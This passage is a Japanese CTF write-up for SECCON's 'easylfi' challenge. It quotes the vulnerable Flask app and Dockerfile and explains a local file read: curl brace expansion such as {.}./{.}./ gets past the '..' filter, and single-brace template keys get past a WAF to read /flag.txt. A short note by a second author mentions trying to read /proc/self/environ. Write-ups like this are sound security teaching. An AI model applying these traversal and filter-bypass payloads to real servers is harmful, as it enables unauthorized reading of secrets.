    if ".." in filename or "%" in filename:
        return "Do not try path traversal :("
    try:
        proc = subprocess.run(
            ["curl", f"file://{os.getcwd()}/public/{filename}"],
            capture_output=True,
            timeout=1,
        )
    except subprocess.TimeoutExpired:
        return "Timeout"
    if proc.returncode != 0:
        return "Something wrong..."
    return template(proc.stdout.decode(), request.args)

こちらのアプリケーションは curl を用いてパスパラメータで指定されたファイルを読み取り、その内容をレスポンスとして返してくれるといったものです。Dockerfile によると、フラグは/flag.txtにあることがわかります。

FROM python:3.10.8-bullseye
WORKDIR /app
COPY requirements.txt .
RUN pip install -r requirements.txt
COPY flag.txt /
COPY public public
COPY app.py .
USER 404:404
CMD ["flask", "run", "--host=0.0.0.0", "--port=3000"]

指定されたファイルを読んでくれるアプリケーションということで、ディレクトリトラバーサルにトライしたくなります。しかし、その対策として以下のような処理があります。安直に..やパーセントエンコーディングは使用できません。

    if ".." in filename or "%" in filename:
        return "Do not try path traversal :("

これを突破するために、curl のドキュメントをいろいろなめていると非常に気になる機能がありました。

Url

The URL syntax is protocol-dependent. You find a detailed description in RFC 3986.

You can specify multiple URLs or parts of URLs by writing part sets within braces and quoting the > URL as in:

"http://site.{one,two,three}.com"

curl - How To Use

{one,two,three}のように波かっこ内にコンマ区切りの文字列を与えてやると curl はこれを展開して以下3つのリクエストを投げてくれるのです。

これを利用すれば、 http://easylfi.seccon.games:3000/{.}./{.}./flag.txt (※わかりやすさのためにパーセントエンコーディングしていません)というURLでアクセスすれば、..バリデーションを回避することができます。
しかし、これだけではflag.txtの内容を読み取ることはできません。以下の waf の存在によって、レスポンスにSECCONという文字列(フラグに含まれる)があると強制的にTry harderと返ってきてしまいます。

@app.after_request
def waf(response: Response):
    if b"SECCON" in b"".join(response.response):
        return Response("Try harder")
    return response

ところで、app.pyにはまだ気になる処理が存在します。以下の処理です。

def validate(key: str) -> bool:
    # E.g. key == "{name}" -> True
    #      key == "name"   -> False
    if len(key) == 0:
        return False
    is_valid = True
    for i, c in enumerate(key):
        if i == 0:
            is_valid &= c == "{"
        elif i == len(key) - 1:
            is_valid &= c == "}"
        else:
            is_valid &= c != "{" and c != "}"
    return is_valid
    
def template(text: str, params: dict[str, str]) -> str:
    # A very simple template engine
    for key, value in params.items():
        if not validate(key):
            return f"Invalid key: {key}"
        text = text.replace(key, value)
    return text

このアプリケーションでは、外部のテンプレートエンジンを使用せず自前の実装となっています。validateのコメントにある通り、{name}のように波括弧で囲まれているところをクエリパラメータの値で置換してくれます。この場合だと?name=hogeとしてあげれば{name}hogeに置換されます。ここで、この機能を使ってflag.txtに含まれるSECCONをどうにか違う文字列に置換できないかと考えます。
しかし、どう頑張ってもflag.txt内に存在するSECCON{...}という文字列だけではどうしようもありません。そこで、curl の展開でflag.txtを含めた2つのファイルを読み取ることで、1つめのファイル内容 + SECCON{...}となるレスポンスを生成し、SECCONを置換し得る状態を作り出せないかというアイデアを思いつきました。1 つめのファイルは波括弧が含まれてほしいので、hello.htmlを対象としました。

<!DOCTYPE html>
<html>
<head>
  <meta charset="UTF-8">
  <title>easylfi</title>
</head>
<body>
  <h1>Hello, {name}!</h1>
</body>
</html>

hello.htmlflag.txtを curl による展開を利用して取得するためには以下の URL を用意します。(※わかりやすさのためにパーセントエンコーディングしていません)

  • http://easylfi.seccon.games:3000/{.}./{.}./{app/public/hello.html,flag.txt}

さて、これで得られる waf を通る前のレスポンスとしては以下のようになります。

--_curl_--file:///app/public/../../app/public/hello.html
<!DOCTYPE html>
<html>
<head>
  <meta charset="UTF-8">
  <title>easylfi</title>
</head>
<body>
  <h1>Hello, {name}!</h1>
</body>
</html>
--_curl_--file:///app/public/../../flag.txt
SECCON{dummydummy}

どうやってSECCONを置換しようかというところですが、ここが一番悩みどころでした。どう頑張っても SECCON は{}で囲まれていないので置換処理の対象となり得ない。そう悩んでいるときに我が部長による進言がもたされました。

部長「{1文字ならなんにでも置換できる」

そうなんです。テンプレートに用いられる key のバリデーションを再掲します。

def validate(key: str) -> bool:
    # E.g. key == "{name}" -> True
    #      key == "name"   -> False
    if len(key) == 0:
        return False
    is_valid = True
    for i, c in enumerate(key):
        if i == 0:
            is_valid &= c == "{"
        elif i == len(key) - 1:
            is_valid &= c == "}"
        else:
            is_valid &= c != "{" and c != "}"
    return is_valid

この処理ですが、よくよくロジックを確認してみると確かに{1文字の場合、なんにでも置換できるのです。そこでSECCON{}で囲うために、まず{}{で置換します。すると結果は以下の通り。

--_curl_--file:///app/public/../../app/public/hello.html
<!DOCTYPE html>
<html>
<head>
  <meta charset="UTF-8">
  <title>easylfi</title>
</head>
<body>
  <h1>Hello, }{name}!</h1>
</body>
</html>
--_curl_--file:///app/public/../../flag.txt
SECCON}{dummydummy}

これでSECCONを閉じるための波括弧が用意できました。ところで、なぜ閉じ括弧を用意するために{}ではなく}{に置換したのかというと、次に行う開き括弧生成のためです。仮に{}にしてしまった場合は以下のようになります。

--_curl_--file:///app/public/../../app/public/hello.html
<!DOCTYPE html>
<html>
<head>
  <meta charset="UTF-8">
  <title>easylfi</title>
</head>
<body>
  <h1>Hello, }name}!</h1>
</body>
</html>
--_curl_--file:///app/public/../../flag.txt
SECCON}dummydummy}

こうなってしまうと、SECCON以前の部分において開き括弧を生成することはできません。}{で置換した場合はSECCON以前の部分において{name}が存在するので、最後にこれを{に置換してあげると...

--_curl_--file:///app/public/../../app/public/hello.html
<!DOCTYPE html>
<html>
<head>
  <meta charset="UTF-8">
  <title>easylfi</title>
</head>
<body>
  <h1>Hello, }{!</h1>
</body>
</html>
--_curl_--file:///app/public/../../flag.txt
SECCON}{dummydummy}

このようになります。これにて無事SECCON{}で囲うことができましたので、最後に{!<...略...SECCON}を適当な文字列に置換してあげれば終了です。この一連の手順を行うことができる URL は以下になります。

フラグ GET です。

ikuro_nishizuka

奮闘記

まず挑戦したのが

find flag

環境変数にフラグが入っているということで、なんとか環境変数をファイルとして呼び出せないかと考えました。

/proc/self/environ を部分的に取得できる方法や、それ以外に環境変数を取得できる方法がないかと。。。

分からず、次は Docker の起動方法を確認。

Dockerfile の下記記述で、あまり使わない /dev/shm が怪しいのではないかと。

RUN chmod 1777 /tmp /var/tmp /dev/shm

ここに何が書き込まれるのか、などなどを調べていたが、環境によってファイルがあったりなかったりで、あまり掴み切れず。

気分転換に別の問題にスイッチ。

noiseccon

ちょっと見てみたけど、これは手に負えないと早々にスイッチ

piyosay

色々とパラメータを触りながら、色々と試しましたよ。 もう、記録を残せていないので、どれくらい近くまで行ったのかは示せませんが、、

後に解説動画を見て、なるほど。分からん。 気付けん(泣

まとめ

ということで、惨敗の結果でした。

もっと鍛錬して、そしてもっと集中して時間を確保して取り組まないと、歯が立たないということを毎回実感して、今日も漫然と土日を過ごすのでした。